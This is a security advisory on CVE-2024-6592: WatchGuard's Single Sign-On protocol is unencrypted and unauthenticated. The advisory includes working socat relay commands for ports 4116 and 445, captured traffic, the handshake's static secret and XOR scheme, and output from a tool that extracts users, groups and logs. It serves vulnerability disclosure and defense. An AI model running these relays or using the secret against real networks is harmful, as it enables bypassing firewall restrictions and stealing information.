Advisory: WatchGuard SSO Protocol is Unencrypted and Unauthenticated The protocol that is used by the WatchGuard Single Sign-On (SSO) agent to communicate with the respective client services is neither encrypted, nor authenticated. The unprotected information that is communicated is used to decide which firewall rules should be applied for the given host. Consequently, attackers can relay connections to other clients in order to apply the firewall rules of the relay target to their own host. Similarly, attackers could implement their own protocol client to send arbitrary account and group information to the agent in order to lift firewall restrictions. It is also possible for attackers to extract information such as logs or the list of logged-on users and their groups from hosts that run the client service. ### Details - Product: WatchGuard Active Directory Single Sign-On (SSO) - Affected Versions: Authentication Gateway <= 12.10.2 & Single Sign-On Client <= 12.7 - Fixed Versions: None - Vulnerability Type: Weak Authentication and Cleartext Transmission of Sensitive Information - Security Risk: high - Vendor URL: https://www.watchguard.com/ - Vendor Status: notified - Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2024-006 - Advisory Status: published - CVE: CVE-2024-6592 - CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-6592 ### Introduction > When users log on to the computers in your network, they must give a > user name and password. If you use Active Directory authentication on > your Firebox to restrict outgoing network traffic to specified users or > groups, your users must also complete an additional step. They must > manually log in again to authenticate to the Firebox and get access to > network resources or the Internet. To simplify the log in process for > your users, you can use the WatchGuard Single Sign-On (SSO) solution. > With SSO, your users on local networks provide their user credentials > one time (when they log on to their computers) and are automatically > authenticated to your Firebox. (from [vendor's homepage](https://www.watchguard.com/help/docs/help-center/en-US/Content/en-US/Fireware/authentication/sso_c.html)) ### More Details When introducing a device into a network managed via WatchGuard Active Directory Single Sign-On (SSO), the WatchGuard SSO agent will connect to the device in order to obtain information about the logged-on users using a proprietary protocol on TCP port 4116. If this connection fails, the agent uses an SMB-based fallback. It was discovered that the data exchanged using this protocol is neither authenticated, nor encrypted. Consequently, attackers can relay incoming connections from the WatchGuard SSO agent to a client on another arbitrary host. The following command uses the program [socat](http://www.dest-unreach.org/socat/) to relay a connection to the host `relaytarget.domainname` while printing all data exchanged: ``` $ socat -v tcp-listen:4116,reuseaddr,fork tcp:relaytarget.domainname:4116 > ping client\r < Connected to SSO client, connected at: Wed Jun 05 11:37:01 2024 > list client qd7s7anD/OepubypuLizur6zubipu7m7vYM=\r < list client completed\r > get encrypt ......&..X...\fO. < get encrypt 20 ~.h=......z...dS@.. > async-0000-000D-xx-00-35 set debug off async-0000-000G-10.0.0.2-00-35 get version 10.0.0.2 async-0000-000B-xx-00-35 set domain async-98153-000A-10.0.0.2-00-35 get user 10.0.0.2 < async-0000-000D-xx-00-35 4 OK < async-0000-000B-xx-00-35 4 OK < async-0000-000G-10.0.0.2-00-35 158 N=1 IP=10.0.0.2 product="SSO Client" version="12, 7, 0, 0 (build 635505)" build="635505" OS="Microsoft Windows 8 Enterprise Edition (build 9200), 64-bit" < async-98153-000A-10.0.0.2-00-35 49 N=1 IP=10.0.0.2 user="username" domain="domainname" group="CN=group1," group="CN=group2," [...] ``` The unencrypted communication is initiated by two challenge-response-based handshakes (`list client ...` and `get encrypt ...`) after which the client service sends the list of logged-on user and their groups. After this relay attack, the firewall rules associated with these groups are applied for the attack system. The same relay attack can also be used for agent connections that use the SMB-based protocol on port 445 instead of the proprietary protocol. It was also found that the challenge-response-based handshakes can be performed by attackers both in the role of a client or an agent. The `list client` command sent by the agent is followed by Base64-encoded data that corresponds to the timestamp previously sent by the client (`Wed Jun 05 11:37:01 2024` including superfluous white spaces) XORed with the repeated byte `0x89`. The initial `get encrypt` command is sent by the agent and contains a challenge with random bytes. The following `get encrypt 20` command is the response sent by the client. The response is derived by computing the SHA1 hash of the concatenation of the challenge bytes with the static secret `47c4e6360586362789e0fb3a0591a50e`. This means that both handshakes do not depend on information that is unknown to attackers, so they cannot be seen as sufficient authentication measures. Attackers can therefore implement a protocol agent in order to extract information from clients. It is not only possible to obtain user and group information, but also client logs that may also include crash memory dumps. An implementation is available at . ``` $ ./wgclient.py command --host 'client.domainname' 'get user a' Connected to SSO client, connected at: Wed Jun 05 15:04:00 2024 list client completed 39 N=1 IP=a user="username" domain="domainname" group="CN=group1," [...] $ ./wgclient.py logfile --host 'client.domainname' Connected to SSO client, connected at: Wed Jun 05 15:06:22 2024 list client completed Found files: * wgssoclient_logfile.log ``` Similarly, attackers can implement a protocol client in order to claim that an arbitrary user with arbitrary groups is logged on when the agent connects to the attack system. In this case, attackers do not have to perform a relay attack. ### Proof of Concept The relay attack can be performed using [socat](http://www.dest-unreach.org/socat/) as follows: ``` $ socat -v tcp-listen:4116,reuseaddr,fork tcp:relaytarget.domainname:4116 ``` This relay attack can also be performed against SMB-based connections from the agent as follows: ``` $ socat -v tcp-listen:445,reuseaddr,fork tcp:relaytarget.domainname:445 ``` For further attacks, a partial protocol implementation for attacks is available at . ### Workaround At the time of publication, no workaround is known other than refraining from using the WatchGuard SSO feature, as both the proprietary protocol as well as SMB-based data gathering are vulnerable to relay attacks. ### Security Risk Since attackers can exploit this vulnerability to not only obtain potentially sensitive information but also circumvent network restrictions that are one of the core features of the WatchGuard Firewall, this vulnerability poses a high risk. ### Timeline - 2024-06-05 Vulnerability identified - 2024-06-10 Customer approved disclosure to vendor - 2024-06-20 Vendor notified - 2024-06-27 Vendor confirmed they received the reports - 2024-07-04 Asked vendor to confirm the vulnerabilities and provide a timeline to resolve the issues - 2024-07-09 Vendor confirmed vulnerabilities, said a timeline will be provided at a later date - 2024-08-08 Asked for update regarding timeline, reminded vendor about 90-day responsible disclosure time frame - 2024-09-03 Asked for update - 2024-09-10 Asked for update again with hint to our planned release after 90 days - 2024-09-13 Vendor provided update that a potential resolution was identified - 2024-09-16 Vendor announced they will publish advisories on the following day, a fix is planned for end of October - 2024-09-17 After customer conferred with WatchGuard, publication was deferred for one week in order to implement mitigations - 2024-09-18 Confirmed new release date with WatchGuard - 2024-09-25 Advisory published ### RedTeam Pentesting GmbH RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at: ### Working at RedTeam Pentesting RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: